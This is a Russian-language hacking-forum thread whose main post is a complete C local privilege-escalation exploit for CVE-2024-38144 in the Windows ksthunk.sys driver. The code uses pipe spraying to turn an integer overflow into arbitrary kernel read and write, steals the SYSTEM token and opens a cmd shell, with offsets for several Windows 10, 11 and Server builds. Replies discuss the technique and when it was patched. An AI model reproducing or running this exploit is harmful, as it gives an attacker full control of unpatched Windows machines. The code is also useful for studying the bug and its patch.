• XSS.stack #1 – первый литературный журнал от юзеров форума

Local LPE, Windows - ksthunk.sys, CVE-2024-38144

weaver

31 c0 bb ea 1b e6 77 66 b8 88 13 50 ff d3
Забанен
Регистрация
19.12.2018
Сообщения
3 301
Решения
11
Реакции
4 622
Депозит
0.0001
Пожалуйста, обратите внимание, что пользователь заблокирован
Источник
https://ssd-disclosure.com/ssd-advisory-ksthunk-sys-integer-overflow-pe/

C:
#include <Windows.h>
#include <winternl.h>
#include <winnt.h>
#include <stdio.h>
#include <cfgmgr32.h>

#pragma comment(lib, "Cfgmgr32.lib")

#define DATA_ENTRY_HEADER_SIZE 0x30
#define ENTRY_DATASIZE(x)((x) - DATA_ENTRY_HEADER_SIZE)

/* IRP for 64bit
nt!_IRP
   +0x000 Type             : Int2B
   +0x002 Size             : Uint2B
   +0x004 AllocationProcessorNumber : Uint2B
   +0x006 Reserved         : Uint2B
   +0x008 MdlAddress       : Ptr64 _MDL
   +0x010 Flags            : Uint4B
   +0x018 AssociatedIrp    : <unnamed-tag>
   +0x020 ThreadListEntry  : _LIST_ENTRY
   +0x030 IoStatus         : _IO_STATUS_BLOCK
   +0x040 RequestorMode    : Char
   +0x041 PendingReturned  : UChar
   +0x042 StackCount       : Char
   +0x043 CurrentLocation  : Char
   +0x044 Cancel           : UChar
   +0x045 CancelIrql       : UChar
   +0x046 ApcEnvironment   : Char
   +0x047 AllocationFlags  : UChar
   +0x048 UserIosb         : Ptr64 _IO_STATUS_BLOCK
   +0x048 IoRingContext    : Ptr64 Void
   +0x050 UserEvent        : Ptr64 _KEVENT
   +0x058 Overlay          : <unnamed-tag>
   +0x068 CancelRoutine    : Ptr64     void
   +0x070 UserBuffer       : Ptr64 Void
   +0x078 Tail             : <unnamed-tag>

*/
#pragma pack(push, 8)
typedef struct {
  SHORT Type;
  USHORT Size;
  USHORT AllocationProcessorNumber;
  PVOID64 MdlAddress;
  ULONG Flags;

  PVOID64 AssociatedIrp;
  LIST_ENTRY64 ThreadListEntry;

  union {
    NTSTATUS Status;
    PVOID64 Pointer;
  }
  IoStatus;
  PVOID64 Information;

  CHAR RequestorMode;
  BOOLEAN PendingReturned;
  CHAR StackCount;
  CHAR CurrentLocation;
  BOOLEAN Cancel;
  UCHAR CancelIrql;
  CCHAR ApcEnvironment;
  UCHAR AllocationFlags;

  PVOID64 UserIosb;
  PVOID64 UserEvent;
  char Overlay[16];
  PVOID64 CancelRoutine;
  PVOID64 UserBuffer;
  CHAR TailIsWrong;
}
IRP;
#pragma pack(pop)

typedef void(IO_APC_ROUTINE)(
  void * ApcContext,
  IO_STATUS_BLOCK * IoStatusBlock,
  unsigned long reserved
);

typedef int(__stdcall * NTFSCONTROLFILE)(
  HANDLE fileHandle,
  HANDLE event,
  IO_APC_ROUTINE * apcRoutine,
  void * ApcContext,
  IO_STATUS_BLOCK * ioStatusBlock,
  unsigned long FsControlCode,
  void * InputBuffer,
  unsigned long InputBufferLength,
  void * OutputBuffer,
  unsigned long OutputBufferLength
);

typedef NTSTATUS( * pNtWow64WriteVirtualMemory64)(
  HANDLE ProcessHandle,
  unsigned __int64 BaseAddress,
  void * Buffer,
  unsigned __int64 Size,
  unsigned __int64 * NumberOfBytesWritten);

typedef struct {
  HANDLE r;
  HANDLE w;
}
PIPE_HANDLES;

#define PIPESIZE 0x1000
PIPE_HANDLES pipes[PIPESIZE];
PIPE_HANDLES holder;

void CreateSprayPipe(PIPE_HANDLES * ph, DWORD quota = -1) {
  ph -> w = CreateNamedPipe(
    L "\\\\.\\pipe\\exploit_test",
    PIPE_ACCESS_OUTBOUND | FILE_FLAG_OVERLAPPED,
    PIPE_TYPE_BYTE | PIPE_WAIT,
    PIPE_UNLIMITED_INSTANCES,
    quota,
    quota,
    0,
    0);
  ph -> r = CreateFile(L "\\\\.\\pipe\\exploit_test", GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, 0);
}
void WriteDataEntry(PIPE_HANDLES ph, PVOID WriteData, DWORD32 len) {
  WriteFile(ph.w,
    WriteData,
    ENTRY_DATASIZE(len),
    NULL,
    NULL);
}

void ReadDataEntry(PIPE_HANDLES ph, PVOID ReadBuffer, DWORD32 len) {
  ReadFile(ph.r,
    ReadBuffer,
    ENTRY_DATASIZE(len),
    NULL,
    NULL);
}

#define MARKER 0x9999999988888888
DWORD64 readthis = MARKER;
IRP fakeirp;
IRP * fakeirp_w;
BYTE fakeevent[0x80];
DWORD64 dummyvalue;

#define inputsize 0x1000 // >0x18, Allocation Size, Copy From +0x20
#define outputsize 0x1060 // Copy size-0x10, Should Copy by 0x40
LPBYTE inbuffer;
LPBYTE outbuffer;

DWORD64 flink = 0; // Used for Recovering
DWORD64 blink = 0; // Used for Recovering
DWORD64 thread_list[2];

DWORD overflowidx = 0;

void setupaar(LPBYTE buffer, DWORD64 readaddr = (DWORD64) & readthis, DWORD size = 0x8) {
  fakeirp.AssociatedIrp = (PVOID64) readaddr;
  // Setup Overflow Data
  *(DWORD64 * )(buffer + 0x0) = flink; // NextEntry->Flink
  *(DWORD64 * )(buffer + 0x8) = blink; // NextEntry->Blink
  *(DWORD64 * )(buffer + 0x10) = (DWORD64) & fakeirp; // IRP
  *(DWORD64 * )(buffer + 0x18) = (DWORD64) 0; // SecurityContext
  *(DWORD * )(buffer + 0x20) = (DWORD) 1; // Entry Type
  *(DWORD * )(buffer + 0x24) = (DWORD) 0; // QuotaEntry
  *(DWORD * )(buffer + 0x28) = (DWORD) size; // DataSize
  *(DWORD * )(buffer + 0x2C) = (DWORD) 0; // x
}

void setupoobread(LPBYTE buffer, DWORD size) {
  // Setup Overflow Data
  *(DWORD64 * )(buffer + 0x0) = flink; // NextEntry->Flink
  *(DWORD64 * )(buffer + 0x8) = blink; // NextEntry->Blink
  *(DWORD64 * )(buffer + 0x10) = (DWORD64) 0; // IRP
  *(DWORD64 * )(buffer + 0x18) = (DWORD64) 0; // SecurityContext
  *(DWORD * )(buffer + 0x20) = (DWORD) 0; // Entry Type
  *(DWORD * )(buffer + 0x24) = (DWORD) 0; // QuotaEntry
  *(DWORD * )(buffer + 0x28) = (DWORD) size; // DataSize
  *(DWORD * )(buffer + 0x2C) = (DWORD) 0; // x
}

void setuprecoverdata(LPBYTE buffer, DWORD size) {
  // Setup Overflow Data
  *(DWORD64 * )(buffer + 0x0) = flink; // NextEntry->Flink
  *(DWORD64 * )(buffer + 0x8) = blink; // NextEntry->Blink
  *(DWORD64 * )(buffer + 0x10) = (DWORD64) 0; // IRP
  *(DWORD64 * )(buffer + 0x18) = (DWORD64) 0; // SecurityContext
  *(DWORD * )(buffer + 0x20) = (DWORD) 0; // Entry Type
  *(DWORD * )(buffer + 0x24) = (DWORD) size; // QuotaEntry
  *(DWORD * )(buffer + 0x28) = (DWORD) size; // DataSize
  *(DWORD * )(buffer + 0x2C) = (DWORD) 0; // x
}

void setuparw(LPBYTE buffer, DWORD64 dstaddr, DWORD64 * value, DWORD size = 0x10) {
  #define IRP_BUFFERED_IO 0x00000010
  #define IRP_DEALLOCATE_BUFFER 0x00000020
  #define IRP_INPUT_OPERATION 0x00000040
  // Setup Overflow Data
  fakeirp_w -> Flags = 0x0060400;
  fakeirp_w -> CurrentLocation = fakeirp_w -> StackCount + 1;
  fakeirp_w -> UserIosb = (PVOID64) dstaddr;
  memcpy((void * ) & fakeirp_w -> IoStatus, value, 0x10);
  //fakeirp_w->CancelRoutine = NULL;

  fakeirp_w -> UserEvent = (PVOID64) fakeevent;
  *(DWORD * )(fakeevent + 4) = 1; // Set State

  /*
  fakeirp_w->Flags |= IRP_BUFFERED_IO | IRP_INPUT_OPERATION;
  fakeirp_w->Flags &= ~IRP_DEALLOCATE_BUFFER;
  fakeirp_w->AssociatedIrp = (PVOID64)srcaddr; // src
  fakeirp_w->UserBuffer = (PVOID64)dstaddr; // dst
  fakeirp_w->ThreadListEntry.Flink = (ULONGLONG)(thread_list);
  fakeirp_w->ThreadListEntry.Blink = (ULONGLONG)(thread_list);
  thread_list[0] = thread_list[1] = (DWORD64)((LPBYTE)fakeirp_w + offsetof(IRP, ThreadListEntry.Flink));
  */

  *(DWORD64 * )(buffer + 0x0) = flink; // NextEntry->Flink
  *(DWORD64 * )(buffer + 0x8) = blink; // NextEntry->Blink
  *(DWORD64 * )(buffer + 0x10) = (DWORD64) fakeirp_w; // IRP
  *(DWORD64 * )(buffer + 0x18) = (DWORD64) 0; // SecurityContext
  *(DWORD * )(buffer + 0x20) = (DWORD) 2; // Entry Type
  *(DWORD * )(buffer + 0x24) = (DWORD) size - 1; // QuotaEntry
  *(DWORD * )(buffer + 0x28) = (DWORD) size; // DataSize
  *(DWORD * )(buffer + 0x2C) = (DWORD) 0; // x
}

void setupbug(LPBYTE buffer, DWORD64 bugaddr, DWORD size = 0xfc0) {

  *(DWORD64 * )(buffer + 0x0) = flink; // NextEntry->Flink
  *(DWORD64 * )(buffer + 0x8) = blink; // NextEntry->Blink
  *(DWORD64 * )(buffer + 0x10) = (DWORD64) bugaddr; // IRP
  *(DWORD64 * )(buffer + 0x18) = (DWORD64) 0; // SecurityContext
  *(DWORD * )(buffer + 0x20) = (DWORD) 2; // Entry Type
  *(DWORD * )(buffer + 0x24) = (DWORD) size; // QuotaEntry
  *(DWORD * )(buffer + 0x28) = (DWORD) size; // DataSize
  *(DWORD * )(buffer + 0x2C) = (DWORD) 0; // x
}

DWORD64 readQWORD(DWORD64 addr) {
  DWORD64 readdata;
  DWORD read;
  fakeirp.AssociatedIrp = (PVOID64)(addr);
  PeekNamedPipe(pipes[overflowidx].r, & readdata, 8, & read, NULL, NULL);
  return readdata;
}

void writeQWORD(DWORD64 addr, DWORD64 value) {
  DWORD64 writedata = value;
  DWORD read;
  fakeirp_w -> AssociatedIrp = (PVOID64)( & writedata);
  fakeirp_w -> UserBuffer = (PVOID64)(addr);
  fakeirp_w -> ThreadListEntry.Flink = (ULONGLONG)(thread_list);
  fakeirp_w -> ThreadListEntry.Blink = (ULONGLONG)(thread_list);
  thread_list[0] = thread_list[1] = (DWORD64)((LPBYTE) fakeirp_w + offsetof(IRP, ThreadListEntry.Flink));

  ReadFile(pipes[overflowidx].r, & dummyvalue, 0x1, & read, 0);
}

/*********
  Define Offset Area
*******/

// From _EPROCESS
// #define UNIQUEPROCESSIDOFFSET 0x440
// #define ACTIVEPROCESSLINTOFFSET 0x448
// #define TOKENOFFSET 0x4b8
// #define ThreadListHeadOffset 0x5e0

// From _ETHREAD
// Win11
//#define ThreadListEntryOffset 0x538
//#define CIDOffset 0x4c8

// Windows Server 2022
//#define ThreadListEntryOffset 0x538
//#define CIDOffset 0x4c8

// Win10
//#define ThreadListEntryOffset 0x4e8
//#define CIDOffset 0x478

ULONG UNIQUEPROCESSIDOFFSET;
ULONG ACTIVEPROCESSLINTOFFSET;
ULONG TOKENOFFSET;
//ULONG ThreadListHeadOffset;

//ULONG ThreadListEntryOffset;
//ULONG CIDOffset;
ULONG ProcessOffset;
ULONG IrpListOffset;

// FROM _FILE_OBJECT, _DEVICE_OBJECT, _DRIVER_OBJECT
#define DEVICE_OBJECT_OFFSET 0x8
#define DRIVER_OBJECT_OFFSET 0x8
#define DRIVER_START_OFFSET 0x18

// Update by PE parsing
ULONG RtlQueryRegistryValuesEx_Offset;
ULONG PsInitialSystemProcess_Offset;
ULONG IAT_RtlQueryRegistryValuesEx_Offset;

//----------------------------------

VOID CheckVersion() {
  HMODULE hDll = LoadLibrary(TEXT("Ntdll.dll"));
  typedef NTSTATUS(CALLBACK * RTLGETVERSION)(PRTL_OSVERSIONINFOW lpVersionInformation);
  RTLGETVERSION pRtlGetVersion;
  pRtlGetVersion = (RTLGETVERSION) GetProcAddress(hDll, "RtlGetVersion");
  if (pRtlGetVersion) {
    RTL_OSVERSIONINFOW ovi = {
      0
    };
    ovi.dwOSVersionInfoSize = sizeof(ovi);
    NTSTATUS ntStatus = pRtlGetVersion( & ovi);
    if (ntStatus == 0) {
      printf("[*] Version : %d\n", ovi.dwBuildNumber);
      if (ovi.dwBuildNumber > 26000) {
        // Win11 24H2 ??
        UNIQUEPROCESSIDOFFSET = 0x1D0;
        ACTIVEPROCESSLINTOFFSET = 0x1D8;
        TOKENOFFSET = 0x248;
        //ThreadListHeadOffset = 0x370;
        //ThreadListEntryOffset = 0x578;
        //CIDOffset = 0x508;
        ProcessOffset = 0x220;
        IrpListOffset = 0x540;
      } else if (ovi.dwBuildNumber > 22000) {
        // Win11 23H2 ??
        UNIQUEPROCESSIDOFFSET = 0x440;
        ACTIVEPROCESSLINTOFFSET = 0x448;
        TOKENOFFSET = 0x4b8;
        //ThreadListHeadOffset = 0x5e0;
        //ThreadListEntryOffset = 0x538;
        //CIDOffset = 0x4c8;
        ProcessOffset = 0x220;
        IrpListOffset = 0x500;
      } else if (ovi.dwBuildNumber <= 22000 && ovi.dwBuildNumber > 20000) {
        // Server 2022 ??
        UNIQUEPROCESSIDOFFSET = 0x440;
        ACTIVEPROCESSLINTOFFSET = 0x448;
        TOKENOFFSET = 0x4b8;
        //ThreadListHeadOffset = 0x5e0;
        //ThreadListEntryOffset = 0x538;
        //CIDOffset = 0x4c8;
        ProcessOffset = 0x220;
        IrpListOffset = 0x500;
      } else if (ovi.dwBuildNumber <= 20000 && ovi.dwBuildNumber > 19040) {
        // WIN 10, 1904X version
        UNIQUEPROCESSIDOFFSET = 0x440;
        ACTIVEPROCESSLINTOFFSET = 0x448;
        TOKENOFFSET = 0x4b8;
        //ThreadListHeadOffset = 0x5e0;
        //ThreadListEntryOffset = 0x4e8;
        //CIDOffset = 0x478;
        ProcessOffset = 0x220;
        IrpListOffset = 0x4b0;
      } else {
        printf("Not Supported\n");
        exit(0);
      }
    }
  }
}

/********************
  Exploit Helper START!!!!
******************/

// Get EPROCESS for current process
ULONG64 PsGetProcessFromPid(DWORD64 pEPROCESS, DWORD pid) {
  LIST_ENTRY64 ActiveProcessLinks;

  ActiveProcessLinks.Flink = (ULONGLONG) readQWORD((DWORD64)(pEPROCESS + ACTIVEPROCESSLINTOFFSET));
  ActiveProcessLinks.Blink = (ULONGLONG) readQWORD((DWORD64)(pEPROCESS + ACTIVEPROCESSLINTOFFSET + 8));

  ULONG64 res = 0;

  while (TRUE) {
    ULONG64 UniqueProcessId = 0;

    // adjust EPROCESS pointer for next entry
    pEPROCESS = (ULONG64)(ActiveProcessLinks.Flink) - ACTIVEPROCESSLINTOFFSET;
    // get pid
    UniqueProcessId = readQWORD((DWORD64)(pEPROCESS + UNIQUEPROCESSIDOFFSET));
    // is this our pid?
    if (pid == UniqueProcessId) {
      res = pEPROCESS;
      break;
    }
    // get next entry
    ActiveProcessLinks.Flink = (ULONGLONG) readQWORD((DWORD64)(pEPROCESS + ACTIVEPROCESSLINTOFFSET));
    ActiveProcessLinks.Blink = (ULONGLONG) readQWORD((DWORD64)(pEPROCESS + ACTIVEPROCESSLINTOFFSET + 8));
    // if next same as last, we reached the end
    if (pEPROCESS == (ULONG64)(ActiveProcessLinks.Flink) - ACTIVEPROCESSLINTOFFSET)
      break;
  }
  return res;
}

/******************
  Exploit Helper END!!!!
*****************/

void trigger(HANDLE hDevice) {
  DWORD returnByte;

  //*(GUID*)(inbuffer + 0) = { 0x1d58c920, 0xac9b, 0x11cf, {0xa5, 0xd6, 0x28, 0xdb, 0x04, 0xc1, 0x00, 0x00} };
  *(DWORD64 * )(inbuffer + 0x10) = 0x400000000; // 1 or 2 or 4
  *(DWORD * ) outbuffer = 2; // 1 or 2

  DeviceIoControl(hDevice, 0x2F0007, inbuffer, inputsize, outbuffer, 0xfffffff0, & returnByte, NULL);
}

VOID PrintHex(PBYTE Data, ULONG dwBytes) {
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      } else {
        printf("?? ");
      }
    }

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      } else {
        printf(".");
      }
    }

    printf("\n");
  }
}

int main(int argc, char ** argv) {
  CheckVersion();
  NTFSCONTROLFILE NtFsControlFile = (NTFSCONTROLFILE) GetProcAddress(LoadLibrary(L "ntdll.dll"), "NtFsControlFile");
  pNtWow64WriteVirtualMemory64 NtWow64WriteVirtualMemory64 = (pNtWow64WriteVirtualMemory64) GetProcAddress(GetModuleHandle(L "ntdll.dll"), "NtWow64WriteVirtualMemory64");

  DWORD targetpid = GetCurrentProcessId();
  if (targetpid == 0) {
    return 0;
  }

  // Pipes for Spraying
  for (int i = 0; i < PIPESIZE; i++) {
    CreateSprayPipe( & pipes[i]);
  }
  CreateSprayPipe( & holder);
  LPBYTE DummyBuffer = (LPBYTE) malloc(0x10000);
  memset(DummyBuffer, 0x77, 0x10000);

  inbuffer = (LPBYTE) malloc(inputsize);
  SIZE_T aligned_size = (outputsize + 0xFFF) & 0xFFFFFFFFFFFFF000;
  outbuffer = (LPBYTE) VirtualAlloc((LPVOID) 0x13370000, aligned_size, MEM_COMMIT | MEM_RESERVE, 0x40);
  outbuffer += (aligned_size - outputsize);

  LPBYTE overwrite_data_ptr = outbuffer + 0x1000 - 0x10;

  memset(inbuffer, 0, inputsize);
  memset(outbuffer, 0x41, outputsize);

  #define OOBSIZE 0x4000
  setupoobread(overwrite_data_ptr, OOBSIZE);

  // GUID DeviceGUID = { 0xcf1dda2c, 0x9743, 0x11d0, {0xa3, 0xee, 0x00, 0xa0, 0xc9, 0x22, 0x31, 0x96} };
  GUID DeviceGUID = {
    0x3c0d501a,
    0x140b,
    0x11d1,
    {
      0xb4,
      0x0f,
      0x00,
      0xa0,
      0xc9,
      0x22,
      0x31,
      0x96
    }
  };
  WCHAR DeviceLink[256] = {
    0,
  };
  CM_Get_Device_Interface_ListW( & DeviceGUID, NULL, DeviceLink, 256, CM_GET_DEVICE_INTERFACE_LIST_ALL_DEVICES);

  HANDLE hDevice = CreateFile(
    DeviceLink,
    GENERIC_READ | GENERIC_WRITE,
    0,
    NULL,
    OPEN_EXISTING,
    0,
    NULL
  );

  printf("[*] hDevice : %p\n", hDevice);
  Sleep(200);
  /*
    Create Memory Layout
  */

  for (int i = 0; i < PIPESIZE; i++) {
    // size of ETHREAD structure is 0xa00
    WriteDataEntry(pipes[i], DummyBuffer, 0xff0);
    WriteDataEntry(pipes[i], DummyBuffer, 0xff0);
    WriteDataEntry(pipes[i], DummyBuffer, 0xff0);
  }
  ReadDataEntry(pipes[PIPESIZE - 0x80], DummyBuffer, 0xff0);

  trigger(hDevice);
  // Before Start OOB, Holing the Free Space
  WriteDataEntry(holder, DummyBuffer, 0xff0);

  // Step1. OOB Check
  for (int i = 0; i < PIPESIZE; i++) {
    DWORD read = 0;
    PeekNamedPipe(pipes[i].r, DummyBuffer, OOBSIZE, & read, NULL, NULL);
    if (read > OOBSIZE - 0x100) {
      overflowidx = i;
      break;
    }
  }
  printf("[+] gotit : %p\n", overflowidx);
  if (overflowidx == 0) {
    exit(0);
  }

  blink = * (DWORD64 * )(DummyBuffer + 0xfd0);
  flink = * (DWORD64 * )(DummyBuffer + 0xfd8) + 0x1000;

  DWORD64 CCB = blink - 0xa8;
  printf("[*] blink : %llx, flink : %llx, CCB : %llx\n", blink, flink, CCB);

  // Setp2. ARR Setup
  setupaar(overwrite_data_ptr);
  // Release the Area
  ReadDataEntry(holder, DummyBuffer, 0xff0);
  trigger(hDevice);

  // Before Start ARR, Holing the Free Space
  WriteDataEntry(holder, DummyBuffer, 0xff0);

  // Setup IRP
  IO_STATUS_BLOCK isb;
  NtFsControlFile(pipes[overflowidx].w, 0, 0, 0, & isb, 0x119FF8, DummyBuffer, 0x1000, 0, 0);

  // Read IRP
  DWORD64 irpptr = readQWORD(blink + 0x40);
  fakeirp_w = (IRP * ) malloc(0x1000);
  for (int i = 0; i < 0x40; i++) {
    *(DWORD64 * )((LPBYTE) fakeirp_w + i * 8) = readQWORD(irpptr + i * 8);
  }

  //PrintHex((LPBYTE)fakeirp_w, 0x80);

  DWORD64 CurrentThread = * (DWORD64 * )((LPBYTE) fakeirp_w + 0x20);
  DWORD64 CurrentProcess = readQWORD(CurrentThread - IrpListOffset + ProcessOffset);
  printf("[*] CurrentThread : %llx, CurrentThread : %llx\n", CurrentThread, CurrentProcess);

  // Start Traditional Exploit Technique
  DWORD64 SystemProcess = PsGetProcessFromPid(CurrentProcess, 4);
  DWORD64 SystemToken = readQWORD(SystemProcess + TOKENOFFSET);

  printf("[*] SystemProcess : %llx, SystemToken : %llx, CurrentProcess : %llx\n", SystemProcess, SystemToken, CurrentProcess);
  DWORD64 tokendata[2] = {
    0,
    SystemToken
  };

  // STEP3. Setup ARW  
  setuparw(overwrite_data_ptr, CurrentProcess + TOKENOFFSET - 8, tokendata);
  // Release the Area
  ReadDataEntry(holder, DummyBuffer, 0xff0);
  trigger(hDevice);

  DWORD dwread;
  ReadFile(pipes[overflowidx].r, DummyBuffer, 0x1, & dwread, NULL);

  // STEP4. Recover Data
  setuprecoverdata(overwrite_data_ptr, 0xfc0);
  trigger(hDevice);

  Sleep(200);
  system("cmd");

}
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Правильно понимаю, что наша цель переполнить буфер и затем уже перезаписать токен процесса как системный? Выглядит вроде так, а самое интересно, что затронута 11 винда. Неплохо, неплохо.
 
Правильно понимаю, что наша цель переполнить буфер и затем уже перезаписать токен процесса как системный? Выглядит вроде так, а самое интересно, что затронута 11 винда. Неплохо, неплохо.
Да, вы правильно понимаете.
 
Скоро пофиксят) я раньше любил такие вещи тестить, а сейчас смысла не вижу.
Кто? мс ? они то может и пофиксят, а вот юзеры еще 5 лет апдейты ставить не будут
 
Пожалуйста, обратите внимание, что пользователь заблокирован
На 23h2 22631.4541 ожидаемо не работает. Вероятно пофиксили в июне вместе с багами от Angelboy, с которым и был дубль. Диффать лень.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Биндифом?)
Bindiff + WinMerge )
В августовском патче пофиксили короче.
Добавили проверку на целочисленное переполнение OutSize.

1732990951059.png
 
На 23h2 22631.4541 ожидаемо не работает. Вероятно пофиксили в июне вместе с багами от Angelboy, с которым и был дубль. Диффать лень.
Эксп показали в мае. Они пофиксили после https://typhooncon.com/typhoonpwn-2024/
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх